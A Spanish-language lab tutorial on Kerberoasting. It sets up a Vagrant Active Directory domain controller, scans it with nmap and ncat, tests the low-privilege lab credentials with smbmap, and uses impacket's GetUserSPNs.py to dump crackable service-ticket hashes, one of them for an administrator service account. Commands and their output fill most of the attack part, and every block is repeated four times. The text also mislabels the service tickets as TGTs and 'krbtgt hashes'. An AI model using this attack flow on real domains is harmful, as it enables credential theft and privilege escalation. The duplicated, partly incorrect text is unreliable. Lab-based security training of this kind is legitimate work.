Kerberos es un protocolo desarrollado por MIT que se usa para autenticar servicios de red. Está construido usando criptografía de clave secreta y utiliza un servidor de terceros de confianza llamado Authentication Server. Este protocolo autentica usuarios y servicios mediante tickets. Cuando un cliente inicia sesión, su identidad se autentica a través del Authentication Server (AS). El AS luego reenvía el nombre de usuario a un Key Distribution Center (KDC) que emite un Ticket-Granting Ticket (TGT). Este ticket es la prueba de identidad del usuario.
Así es como funciona el protocolo Kerberos:
Un cliente envía una solicitud al AS pidiendo un TGT. Esta solicitud se construye usando la hora del reloj de la máquina y cifrándola con el hash de la contraseña del usuario.
Como el AD (Active Directory) tiene la contraseña del usuario, puede descifrar la solicitud. El servidor puede entonces verificar los datos de autenticación del usuario y responder al cliente con un TGT y una clave de sesión para el TGT.
Como el usuario ahora tiene un TGT válido para el dominio, puede enviar una solicitud de ticket de servicio.
Ahora el servidor verifica la validez del TGT y responde con el ticket de servicio y una clave de sesión de servicio.
Kerberoast, descubierto por Tim Medin, funciona solicitando tickets de servicio de Kerberos, TGTs, al Authentication Server, AS, una acción que cualquier usuario válido del dominio puede realizar. Estos tickets de servicio son un hash que podemos descifrar. Luego tenemos acceso a nuestro servidor objetivo, lo que nos brinda privilegios elevados o incluso la posibilidad de suplantar a otro usuario.
Para hacer esto necesitas un usuario válido del dominio, por lo que cualquier empleado de una organización puede explotar esta vulnerabilidad. Si eres un atacante anónimo en la red, existen varias formas de obtener credenciales de usuario. Estas incluyen realizar un ataque de spoofing de MDNS en la red (Responder), un ataque Evil Twin a la red inalámbrica si esta cuenta con seguridad empresarial, o un ataque de phishing por correo que utilice un inicio de sesión empresarial con el AD, entre otras.
Laboratorio de Kerberoast
Para configurar nuestro laboratorio usaremos Vagrant de Hashicorp; los archivos fuente están abajo. Crea una carpeta llamada kerberoast y guarda ahí el Vagrantfile. Crea también otra carpeta dentro de kerberoast llamada provision y guarda ahí el archivo ad.ps1.
Configuración del laboratorio
$ mkdir kerberoast
$ cd kerberoast
kerberoast$ nano Vagrantfile
kerberoast$ mkdir provision
kerberoast$ nano provision/ad.ps1
$ mkdir kerberoast
$ cd kerberoast
kerberoast$ nano Vagrantfile
kerberoast$ mkdir provision
kerberoast$ nano provision/ad.ps1
$ mkdir kerberoast
$ cd kerberoast
kerberoast$ nano Vagrantfile
kerberoast$ mkdir provision
kerberoast$ nano provision/ad.ps1
$ mkdir kerberoast
$ cd kerberoast
kerberoast$ nano Vagrantfile
kerberoast$ mkdir provision
kerberoast$ nano provision/ad.ps1
Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
endProvision/ad.ps1
Luego, ejecuta el entorno con:
Vagrant up.
Esto creará una máquina Windows con Active Directory instalado y configurado. En este punto, ya tenemos todo lo necesario y estamos listos para lanzar un ataque.
Ahora podemos configurar nuestra máquina atacante. Aquí usamos Kali Linux con Vagrant también, pero puedes usar el OS que prefieras.
Estas son las herramientas que vamos a usar:
Si usas Kali, lo único que necesitas instalar es impacket. Pero primero, necesitamos clonarlo..
Clonando impacket
Luego ve a la carpeta e instálalo.
Instalando impacket.
$ cd impacket
impacket$ pip install -r requirements.txt
impacket$ python
$ cd impacket
impacket$ pip install -r requirements.txt
impacket$ python
$ cd impacket
impacket$ pip install -r requirements.txt
impacket$ python
$ cd impacket
impacket$ pip install -r requirements.txt
impacket$ python
La IP de nuestro servidor objetivo es 192.168.56.2, el dominio es sky.net y nuestras credenciales de dominio de bajo privilegio son kertest:SuperSecure@123!!!.
Ya estamos listos.
Escaneando nuestro servidor
Primero necesitamos revisar los puertos del servidor. Para esto podemos usarnmap o ncat.
Escaneo de puertos
nmap 192.168.56.2
ncat -vz 192.168.56.2 88
ncat -vz 192.168.56.2 445
nmap 192.168.56.2
ncat -vz 192.168.56.2 88
ncat -vz 192.168.56.2 445
nmap 192.168.56.2
ncat -vz 192.168.56.2 88
ncat -vz 192.168.56.2 445
nmap 192.168.56.2
ncat -vz 192.168.56.2 88
ncat -vz 192.168.56.2 445
Nmap
Nmap scan report for 192.168.56.2
Host is up (0.012s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
3268/tcp open globalcatLDAP
3389/tcp open ms-wbt-server
Nmap scan report for 192.168.56.2
Host is up (0.012s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
3268/tcp open globalcatLDAP
3389/tcp open ms-wbt-server
Nmap scan report for 192.168.56.2
Host is up (0.012s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
3268/tcp open globalcatLDAP
3389/tcp open ms-wbt-server
Nmap scan report for 192.168.56.2
Host is up (0.012s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
3268/tcp open globalcatLDAP
3389/tcp open ms-wbt-server
Nc
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 88 (kerberos) open
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 445
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 88 (kerberos) open
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 445
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 88 (kerberos) open
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 445
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 88 (kerberos) open
192.168.56.2: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.56.2] 445
Kerberos se ejecuta en el port 88 y SMB en el port 445; vamos a usar estos servicios para atacar el Domain Controller.
Luego, usando smbmap podemos revisar nuestros permisos en el servidor.
Samba con privilegios bajos
smbmap -u kertest -p 'SuperSecure@123!!!' -H 192.168.56.2 -d
smbmap -u kertest -p 'SuperSecure@123!!!' -H 192.168.56.2 -d
smbmap -u kertest -p 'SuperSecure@123!!!' -H 192.168.56.2 -d
smbmap -u kertest -p 'SuperSecure@123!!!' -H 192.168.56.2 -d
Smbmap con privilegios bajos
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$
Como podemos ver, nuestro usuario es un usuario válido del dominio, pero no tiene permisos en el servidor.
Kerberoasting
Dado que tenemos un usuario activo, podemos explotar kerberoast para obtener TGTs. Esto se hace simplemente ejecutando:
Ataque de kerberoast
impacket/examples$ python GetUserSPNs.py sky.net/kertest -dc-ip 192.168.56.2 -save
impacket/examples$ python GetUserSPNs.py sky.net/kertest -dc-ip 192.168.56.2 -save
impacket/examples$ python GetUserSPNs.py sky.net/kertest -dc-ip 192.168.56.2 -save
impacket/examples$ python GetUserSPNs.py sky.net/kertest -dc-ip 192.168.56.2 -save
Y cuando se te solicite, ingresa la contraseña: SuperSecure@123!!!.
Resultado del kerberoast
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
sky.net/kertest kertest CN=Users,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 2019-08-06 17:31:20
sky.net/svctest svctest CN=Administrators,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 <never>
$krb5tgs$23$*kertest$SKY.NET$sky.net/kertest*$1639e200b950b6e566adad2ce3f3a336$bf5092143c33b1664dc4adb9186ea7f1f29cb0919e4cccc11316fc0824b72cab3c3d573f477c81cbb659d64bb0e156c15796180bbf96cbee9d8e7df8438c449a4aacc8714aec2291ff5d470c6be6dfa2f8844d6c34805e0e56b94d8835efce3faa89ca11972f50cace1929b14ee4491ac82a39623cde0ac85f4af8f11284e968dcd96c6219836a7554b42ab2b1d14c6ca2c9d72416463ad939c180c3c8aea73adcb7985035460bf9cb76f12a4d39d5d5ff05a476262f8505c2bba5e9b24e970214abf6a3af02122f815789a82b7919131b72759f93d1404df918cadf64a265a96ebb5a52794b5b7a6d9460ae0db3a0eaa61b7c79e13a18b97f6fe0bcbfdc199fe57138cc5a28deeb06ecd1fae3d4b2af36378f914eac31832f31a050b7dfb96b79419e20df1b37bc04359590f98e0d51066b54353f61f0a9b406e360ce6cd1f118e564a8fe2bc13c787112167bfccb09ba87af8300563fe8051b4e7ecb260a5af5555308f7cced77327214816201b352d186b2247741e88c2ddd207a59f7f6c4e9aa8f28656e343c1cff65bfb0105e77829613ae766d65c4b31b5f48b3cd47e2d1283b4e37db154c6912057929debd05d1abcbc62af9ec99e787e267cd9e666514504d1d64f34347e5c87f6574d08c205a61a59679854f99db94d43abf4ce3752b24d2b1675a9fd94a9365bc36b67cd86e5e99187d0343cbf71de778411a4e696ce41af8cc47dfd82e8072d2821acee41a95560d2d9d2f84d96bf70d982899dce15e2b5785ed17adde1e1886fbcecea00f57af983213e489479da2182efffdfbf652029c199de60ecc3dc7044f5d2a36a4e8c09dac9f438695d25044ce49e04a906064c16c3e9b9bff1accbe378812cb8ee2266b4a4521cf0f37cbd92fb24227e6316881abc7f79438dd0e5f53b21b830f9b662fb5f0047f1ff710804c38c64376d53731184d8acaa0679c5657b0a5b9aa08bb9539c79d7a445ba93d8ee7297788c1363d8846613de4654ea04d82599d1442c311980dad4fb14a2b6864c1fa831b3bbf6e7c05d3526ecb7470c3b9781a06845c59c5eaf366d99d18cd3f2ae265847b2b013674d874ae584d41a9cc1c5f2b76d17657ab9f4f13f0895fec63973c82a2b8296b3dc6a0bfd6fba9d71c081ed71641f283fd157884f70478c46e73aea8813fc758b3c4d26927a052d754a57682c387f132729e5373bf7fbcd7c724182861d5d7dcd53dfad7bf6cf77838063ddae770ef84de21391acd30bef3fd24
$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
sky.net/kertest kertest CN=Users,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 2019-08-06 17:31:20
sky.net/svctest svctest CN=Administrators,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 <never>
$krb5tgs$23$*kertest$SKY.NET$sky.net/kertest*$1639e200b950b6e566adad2ce3f3a336$bf5092143c33b1664dc4adb9186ea7f1f29cb0919e4cccc11316fc0824b72cab3c3d573f477c81cbb659d64bb0e156c15796180bbf96cbee9d8e7df8438c449a4aacc8714aec2291ff5d470c6be6dfa2f8844d6c34805e0e56b94d8835efce3faa89ca11972f50cace1929b14ee4491ac82a39623cde0ac85f4af8f11284e968dcd96c6219836a7554b42ab2b1d14c6ca2c9d72416463ad939c180c3c8aea73adcb7985035460bf9cb76f12a4d39d5d5ff05a476262f8505c2bba5e9b24e970214abf6a3af02122f815789a82b7919131b72759f93d1404df918cadf64a265a96ebb5a52794b5b7a6d9460ae0db3a0eaa61b7c79e13a18b97f6fe0bcbfdc199fe57138cc5a28deeb06ecd1fae3d4b2af36378f914eac31832f31a050b7dfb96b79419e20df1b37bc04359590f98e0d51066b54353f61f0a9b406e360ce6cd1f118e564a8fe2bc13c787112167bfccb09ba87af8300563fe8051b4e7ecb260a5af5555308f7cced77327214816201b352d186b2247741e88c2ddd207a59f7f6c4e9aa8f28656e343c1cff65bfb0105e77829613ae766d65c4b31b5f48b3cd47e2d1283b4e37db154c6912057929debd05d1abcbc62af9ec99e787e267cd9e666514504d1d64f34347e5c87f6574d08c205a61a59679854f99db94d43abf4ce3752b24d2b1675a9fd94a9365bc36b67cd86e5e99187d0343cbf71de778411a4e696ce41af8cc47dfd82e8072d2821acee41a95560d2d9d2f84d96bf70d982899dce15e2b5785ed17adde1e1886fbcecea00f57af983213e489479da2182efffdfbf652029c199de60ecc3dc7044f5d2a36a4e8c09dac9f438695d25044ce49e04a906064c16c3e9b9bff1accbe378812cb8ee2266b4a4521cf0f37cbd92fb24227e6316881abc7f79438dd0e5f53b21b830f9b662fb5f0047f1ff710804c38c64376d53731184d8acaa0679c5657b0a5b9aa08bb9539c79d7a445ba93d8ee7297788c1363d8846613de4654ea04d82599d1442c311980dad4fb14a2b6864c1fa831b3bbf6e7c05d3526ecb7470c3b9781a06845c59c5eaf366d99d18cd3f2ae265847b2b013674d874ae584d41a9cc1c5f2b76d17657ab9f4f13f0895fec63973c82a2b8296b3dc6a0bfd6fba9d71c081ed71641f283fd157884f70478c46e73aea8813fc758b3c4d26927a052d754a57682c387f132729e5373bf7fbcd7c724182861d5d7dcd53dfad7bf6cf77838063ddae770ef84de21391acd30bef3fd24
$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
sky.net/kertest kertest CN=Users,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 2019-08-06 17:31:20
sky.net/svctest svctest CN=Administrators,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 <never>
$krb5tgs$23$*kertest$SKY.NET$sky.net/kertest*$1639e200b950b6e566adad2ce3f3a336$bf5092143c33b1664dc4adb9186ea7f1f29cb0919e4cccc11316fc0824b72cab3c3d573f477c81cbb659d64bb0e156c15796180bbf96cbee9d8e7df8438c449a4aacc8714aec2291ff5d470c6be6dfa2f8844d6c34805e0e56b94d8835efce3faa89ca11972f50cace1929b14ee4491ac82a39623cde0ac85f4af8f11284e968dcd96c6219836a7554b42ab2b1d14c6ca2c9d72416463ad939c180c3c8aea73adcb7985035460bf9cb76f12a4d39d5d5ff05a476262f8505c2bba5e9b24e970214abf6a3af02122f815789a82b7919131b72759f93d1404df918cadf64a265a96ebb5a52794b5b7a6d9460ae0db3a0eaa61b7c79e13a18b97f6fe0bcbfdc199fe57138cc5a28deeb06ecd1fae3d4b2af36378f914eac31832f31a050b7dfb96b79419e20df1b37bc04359590f98e0d51066b54353f61f0a9b406e360ce6cd1f118e564a8fe2bc13c787112167bfccb09ba87af8300563fe8051b4e7ecb260a5af5555308f7cced77327214816201b352d186b2247741e88c2ddd207a59f7f6c4e9aa8f28656e343c1cff65bfb0105e77829613ae766d65c4b31b5f48b3cd47e2d1283b4e37db154c6912057929debd05d1abcbc62af9ec99e787e267cd9e666514504d1d64f34347e5c87f6574d08c205a61a59679854f99db94d43abf4ce3752b24d2b1675a9fd94a9365bc36b67cd86e5e99187d0343cbf71de778411a4e696ce41af8cc47dfd82e8072d2821acee41a95560d2d9d2f84d96bf70d982899dce15e2b5785ed17adde1e1886fbcecea00f57af983213e489479da2182efffdfbf652029c199de60ecc3dc7044f5d2a36a4e8c09dac9f438695d25044ce49e04a906064c16c3e9b9bff1accbe378812cb8ee2266b4a4521cf0f37cbd92fb24227e6316881abc7f79438dd0e5f53b21b830f9b662fb5f0047f1ff710804c38c64376d53731184d8acaa0679c5657b0a5b9aa08bb9539c79d7a445ba93d8ee7297788c1363d8846613de4654ea04d82599d1442c311980dad4fb14a2b6864c1fa831b3bbf6e7c05d3526ecb7470c3b9781a06845c59c5eaf366d99d18cd3f2ae265847b2b013674d874ae584d41a9cc1c5f2b76d17657ab9f4f13f0895fec63973c82a2b8296b3dc6a0bfd6fba9d71c081ed71641f283fd157884f70478c46e73aea8813fc758b3c4d26927a052d754a57682c387f132729e5373bf7fbcd7c724182861d5d7dcd53dfad7bf6cf77838063ddae770ef84de21391acd30bef3fd24
$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
sky.net/kertest kertest CN=Users,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 2019-08-06 17:31:20
sky.net/svctest svctest CN=Administrators,CN=Builtin,DC=sky,DC=net 2019-08-06 17:06:03 <never>
$krb5tgs$23$*kertest$SKY.NET$sky.net/kertest*$1639e200b950b6e566adad2ce3f3a336$bf5092143c33b1664dc4adb9186ea7f1f29cb0919e4cccc11316fc0824b72cab3c3d573f477c81cbb659d64bb0e156c15796180bbf96cbee9d8e7df8438c449a4aacc8714aec2291ff5d470c6be6dfa2f8844d6c34805e0e56b94d8835efce3faa89ca11972f50cace1929b14ee4491ac82a39623cde0ac85f4af8f11284e968dcd96c6219836a7554b42ab2b1d14c6ca2c9d72416463ad939c180c3c8aea73adcb7985035460bf9cb76f12a4d39d5d5ff05a476262f8505c2bba5e9b24e970214abf6a3af02122f815789a82b7919131b72759f93d1404df918cadf64a265a96ebb5a52794b5b7a6d9460ae0db3a0eaa61b7c79e13a18b97f6fe0bcbfdc199fe57138cc5a28deeb06ecd1fae3d4b2af36378f914eac31832f31a050b7dfb96b79419e20df1b37bc04359590f98e0d51066b54353f61f0a9b406e360ce6cd1f118e564a8fe2bc13c787112167bfccb09ba87af8300563fe8051b4e7ecb260a5af5555308f7cced77327214816201b352d186b2247741e88c2ddd207a59f7f6c4e9aa8f28656e343c1cff65bfb0105e77829613ae766d65c4b31b5f48b3cd47e2d1283b4e37db154c6912057929debd05d1abcbc62af9ec99e787e267cd9e666514504d1d64f34347e5c87f6574d08c205a61a59679854f99db94d43abf4ce3752b24d2b1675a9fd94a9365bc36b67cd86e5e99187d0343cbf71de778411a4e696ce41af8cc47dfd82e8072d2821acee41a95560d2d9d2f84d96bf70d982899dce15e2b5785ed17adde1e1886fbcecea00f57af983213e489479da2182efffdfbf652029c199de60ecc3dc7044f5d2a36a4e8c09dac9f438695d25044ce49e04a906064c16c3e9b9bff1accbe378812cb8ee2266b4a4521cf0f37cbd92fb24227e6316881abc7f79438dd0e5f53b21b830f9b662fb5f0047f1ff710804c38c64376d53731184d8acaa0679c5657b0a5b9aa08bb9539c79d7a445ba93d8ee7297788c1363d8846613de4654ea04d82599d1442c311980dad4fb14a2b6864c1fa831b3bbf6e7c05d3526ecb7470c3b9781a06845c59c5eaf366d99d18cd3f2ae265847b2b013674d874ae584d41a9cc1c5f2b76d17657ab9f4f13f0895fec63973c82a2b8296b3dc6a0bfd6fba9d71c081ed71641f283fd157884f70478c46e73aea8813fc758b3c4d26927a052d754a57682c387f132729e5373bf7fbcd7c724182861d5d7dcd53dfad7bf6cf77838063ddae770ef84de21391acd30bef3fd24
$krb5tgs$23$*svctest$SKY.NET$sky.net/svctest*$0fb0da3f22933a2893a6dac63e87538d$d11bb41bc5f41eeb4890ae74c42bff3ac203c649ef9740e70edb67113723df962b20c1346d82c7e410932944c881d3cb06a7cec0c21278ac1eeb2184867640f39b1ae725c02429ec9068fc6688102d576e4efb9c435f4207882601bff28414ababa2423cc4ea82d64082d8fe4eee797568dd514b4081a5338c08dd279fef2a3ade69efc2fe5502fd0a8e8cd8187761ff4c05322c00484e001832a28242d0c821ce44230eac54e2e4e36c365303ea729505ac9d35d7cc08077d07ea36c72e7ab12a04af392eeddcff37fd2e8a066e779ae26e0658ffa25f35a5c64f456a794676819dda35fe56514c1293f561750532d36a395069c8e98581f2b5d216254d7bed07e95dea36a4817ead880fe405711dae771e1660cadf3902fda1e0b730386aa02bc13bc8051ede7ee5388a919a4c20652ef241c47d66e21d026f5233bbd81dee6f01ad3887c32a9f4f0ab312939edcafa386eba04c32a0826f59b4009bd7fee5f6d78bcdeec80095fb1d0f189a87c26310b562bc4d94ffd19201a0bfa06a208d837a52bade076c2b34b8807f74bf51927b774e9f5047289d0d529beb58712d8eee673db3c77d28882a51bbfcf8dba96677af3b43a109c36b335b70dd0e316cce18877b7704e1ed837875cde1e7a462e35c9fe972318eb6d6d37ea222f00d5e81df343edfc1f50bd8907876c4dc1e77f01d9f5df3cb9e94f231a7a0eeb93aa62c22814742b06596eeb72824b4b0449cf6555fa020345bc21a84595437d50abb7cbe4287f580e47ed302faa9de47b68e9c3cab79ad2b1da17548f39aa8ace12372cb0d9952caee715535654f1f918ad5be3432b954bd7bae753152d919bcb93771fc9daf371ce724b18979f5180955d9ba6573d98f1042df80e5e7532fa96629e1b69f9e556df142fd8b0858243144c9f48a19d1933f280f8366c749fe6fb2b7b6c5f7781994f4d3f32552085ebc35ee4fa122a33978c32e877c0b48bc0cb19840bb7d349bbefb39ef1d062fc901b461a480e92e6121b3060f17c34fe92abad77ffebf687115da10b07081d35ef4a622916b656dd84c92643d477128d0a74a24ab23f69f61c94a7b0483313a31476cedc44a5c9efc55b18c57ebea38984f00e50d5773e25f7c6b3bcbc5ef73bf255ede5397ae334a72409440f8475b1f8b22730a456f81e6b08402c7c795aad026c01ca31b4fd8aac5bade44552787aec9c6b2407d2da24059014efdd88ee1953183f62b2e5e06ed7841438a7d4bd3635672b2
Aquí tenemos nuestros TGTs, sonkrbtgt hashes, y ahí podemos ver a otro usuario en el servidor, svctest. Con esto, guardamos el TGTde ese usuario en un archivo.
Guardar el hash
